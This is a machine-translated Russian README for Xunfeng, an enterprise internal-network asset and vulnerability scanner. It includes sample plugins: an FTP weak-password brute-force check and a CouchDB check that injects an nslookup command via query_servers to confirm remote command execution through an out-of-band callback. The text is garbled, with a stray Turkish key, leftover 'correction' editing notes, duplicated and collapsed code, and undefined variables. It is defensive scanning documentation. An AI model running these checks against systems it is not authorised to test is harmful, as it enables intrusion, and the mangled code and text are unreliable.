Xunfeng — это система быстрого реагирования и сканирования для внутренних сетей предприятий, которая позволяет четко понять распределение активов внутри сети с помощью поиска и выполнять быструю проверку уязвимостей с использованием специализированных плагинов.
Этот софт предназначен только для начального исследования и не имеет агрессивной направленности. Пожалуйста, используйте его в соответствии с законом «Закон КНР о безопасности информационных сетей». Никогда не используйте систему "Xunfeng" для незаконных тестов. Компании YSRC, Центра управления безопасностью компании Trip.com и компании Trip.com Network Technology Co., Ltd. не несут никакой ответственности за последствия использования этого софта.
Система состоит из двух основных частей: идентификационного движка активов, движка проверки уязвимостей.
Идентификационный движок активов выполняет регулярное автоматическое сканирование портов в диапазонах IP, указанных пользователем (поддерживает вызов MASSCAN), и проводит анализ пальцев (фишинг). Анализ включает тип сервиса, контейнер компонента, язык программирования, CMS.Движок проверки уязвимостей выполняет периодическую или одноразовую проверку уязвимостей в зависимости от правил задач, указанных пользователем. Поддерживает два типа плагинов — метки и скрипты, все они могут быть добавлены через веб-консоль.## Инструкция по установке
Русская зеркальная версия https://code.aliyun.com/ysrc/xunfeng.git
chmod +x
для предоставления права выполнения и требуется выполнить его самостоятельно, чтобы убедиться, что он работает правильно перед тем, как открыть.Поддержка плагинов включает два типа: метаданные JSON и скрипты Python. Плагины могут быть установлены через официальные каналы распространения или добавлены самостоятельно.### Метаданные JSON
Стандарт создания плагинов очень прост, требуется только определение информации о плагине с помощью метода get_plugin_info
, а также реализация функции check
для проверки наличия уязвимости.
# кодировка:utf-8
import ftplib
def get_plugin_info(): # информация о плагине
plugin_info = {
"name": "Уязвимость FTP слабыми паролями",
"info": "Позволяет злоумышленникам получить доступ к конфиденциальной информации, что может привести к полной потере контроля над сервером.",
Yöntem: "Критическая",
"type": "Слабый пароль",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:ftp", # рекомендованное ключевое слово для поиска
}
return plugin_info
def check(ip, port, timeout): # код проверки уязвимости
user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
for user in user_list:
for pass_ in PASSWORD_DIC: # список паролей не требует явного определения, он будет автоматически заполнен.
pass_ = str(pass_.replace('{user}', user))
try:
ftp = ftplib.FTP()
ftp.timeout = timeout
ftp.connect(ip, port)
ftp.login(user, pass_)
if pass_ == '':
pass_ = 'null'
if user == 'ftp' and pass_ == 'ftp':
return u"Анонимный вход возможен"
return u"Найдены слабые пароли, имя пользователя: {}, пароль: {}".format(user, pass_) # успешный ответ, отображается на странице результатов сканирования.
except:
pass
Исправление:
Yöntem: "Критическая",
на
"level": "Критическая",
Также исправляем:
PASSWORD_DIC
на
password_dic
Итоговый текст:
Стандарт создания плагинов очень прост, требуется только определение информации о плагине с помощью метода get_plugin_info
, а также реализация функции check
для проверки наличия уязвимости.
# кодировка:utf-8
import ftplib
def get_plugin_info(): # информация о плагине
plugin_info = {
"name": "Уязвимость FTP слабыми паролями",
"info": "Позволяет злоумышленникам получить доступ к конфиденциальной информации, что может привести к полной потере контроля над сервером.",
"level": "Критическая",
"type": "Слабый пароль",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:ftp", # рекомендованное ключевое слово для поиска
}
return plugin_info
def check(ip, port, timeout): # код проверки уязвимости
user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
for user in user_list:
for pass_ in password_dic: # список паролей не требует явного определения, он будет автоматически заполнен.
pass_ = str(pass_.replace('{user}', user))
try:
ftp = ftplib.FTP()
ftp.timeout = timeout
ftp.connect(ip, port)
ftp.login(user, pass_)
if pass_ == '':
pass_ = 'null'
if user == 'ftp' and pass_ == 'ftp':
return u"Анонимный вход возможен"
return u"Найдены слабые пароли, имя пользователя: {}, пароль: {}".format(user, pass_) # успешный ответ, отображается на странице результатов сканирования.
except:
pass
```Дополнительно система предоставляет встроенные механизмы для дополнительной проверки:
> DNS: триггер, nslookup randomstr IP, проверка, http://ip:8088/randomstr, если ответ YES — значит уязвимость существует.
> HTTP: триггер, http://ip:8088/add/randomstr, проверка, http://ip:8088/check/randomstr, если ответ YES — значит уязвимость существует.
Пример использования:
```python
import urllib2
import random
import socket
def get_plugin_info(): # информация о плагине
plugin_info = {
"name": "Неавторизованный доступ к CouchDB",
"info": "Позволяет злоумышленникам получить доступ к конфиденциальной информации, что может привести к выполнению системных команд и захвату контроля над сервером.",
"level": "Критическая",
"method": "Неавторизованный доступ",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:couchdb", # рекомендованное ключевое слово для поиска
}
def get_ver_ip(ip):
csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect((ip, 80))
(addr, port) = csock.getsockname()
csock.close()
return addr
def random_str(length):
result = ""
for _ in range(length):
result += random.choice("ABCDEFGH1234567890")
return str(result)
def check(ip, port, timeout): rand_str = random_str(8) cmd = random_str(4) server_ip = get_ver_ip(ip) req_list = [ ["/_config/query_servers/%s" % cmd, '"nslookup %s %s > log"' % (rand_str, server_ip)], ["/vultest123", ""], ["/vultest123/test", '{"_id": "safetest"}'] ] for req_info in req_list: try: request = urllib2.Request(url + req_info[0], req_info[1], timeout=timeout) request.get_method = lambda: 'PUT' urllib2.urlopen(request) except: pass try: req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11", '{"language": "%s", "map": ""}' % cmd) req_exec.add_header("Content-Type", "application/json") urllib2.urlopen(req_exec) except: pass check_response = urllib2.urlopen("http://%s:8088/%s" % (server_ip, rand_str)).read() if 'YES' in check_response: return u"Неавторизованный доступ"
```markdown
# Проверка доступа
Функция `check` проверяет наличие неавторизованного доступа к серверу.
## Параметры
- **ip**: IP-адрес сервера.
- **port**: Номер порта.
- **timeout**: Время ожидания ответа.
## Логика работы
1. Генерируется случайная строка `rand_str` длиной 8 символов.
2. Генерируется случайная команда `cmd` длиной 4 символа.
3. Получается верифицированный IP-адрес сервера `server_ip`.
4. Создаются запросы для отправки на сервер:
```python
req_list = [
["/_config/query_servers/%s" % cmd, '"nslookup %s %s > log"' % (rand_str, server_ip)],
["/vultest123", ""],
["/vultest123/test", '{"_id": "safetest"}']
]
Для каждого запроса выполняется попытка отправки с использованием метода PUT.
for req_info in req_list:
try:
request = urllib2.Request(url + req_info[0], req_info[1], timeout=timeout)
request.get_method = lambda: 'PUT'
urllib2.urlopen(request)
except:
pass
Выполняется специальный запрос для тестирования временной вьюшки:
try:
req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",
'{"language": "%s", "map": ""}' % cmd)
req_exec.add_header("Content-Type", "application/json")
urllib2.urlopen(req_exec)
except:
pass
Проверяется ответ на запрос nslookup
, который был запущен ранее.
check_response = urllib2.urlopen("http://%s:8088/%s" % (server_ip, rand_str)).read()
Если в ответе содержится строка 'YES'
, то возвращается сообщение о неавторизованном доступе.
if 'YES' in check_response:
return u"Неавторизованный доступ"
[](https://sec-pic-ly.b0.upaiyun.com/xunfeng/xunfeng.mp4)## Структура файлов
│ Config.py # конфигурационный файл │ README.md # документация │ Run.bat # запуск службы в Windows │ Run.py # веб-сервер │ Run.sh # запуск службы в Linux, перед повторным запуском требуется завершение процесса │ ├─aider │ Aider.py # вспомогательный скрипт проверки │ ├─db # начальная структура базы данных │ ├─masscan # встроенный скомпилированный Masscan (для CentOS/win64), требует chmod+x для выполнения (root), если не работает, рекомендуется самостоятельно скомпилировать и установить. ├─nascan │ │ NAScan.py # движок сбора информации о сетевых активных объектах │ │ │ ├─lib │ │ Common.py # общие методы │ │ ICMP.py # класс отправки ICMP │ │ Log.py # вывод логов │ │ Mongo.py # соединение с базой данных │ │ Scan.py # сканирование и распознавание │ │ Start.py # управление потоками │ │ │ └─plugin │ Masscan.py # скрипт вызова Masscan │ ├─views │ │ View.py # обработка веб-запросов │ │ │ ├─lib │ │ Conn.py # общий класс для работы с базой данных │ │ CreateExcel.py # работа с таблицами │ │ Login.py # проверка прав доступа │ │ QueryLogic.py # анализ запросов │ │ │ ├─static # директория статических ресурсов │ │ │ └─templates # директория шаблонов │ └─vulscan │ VulScan.py # движок обнаружения уязвимостей │
Сканируйте下面的二维码以关注YSRC公众号,回复您的微信号+巡风,将会有专人邀请您加入巡风的微信讨论群。
→
Сканируйте下面的二维码以关注YSRC公众号,回复您的微信号+巡风,将会有专人邀请您加入巡风的微信讨论群.
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Комментарии ( 0 )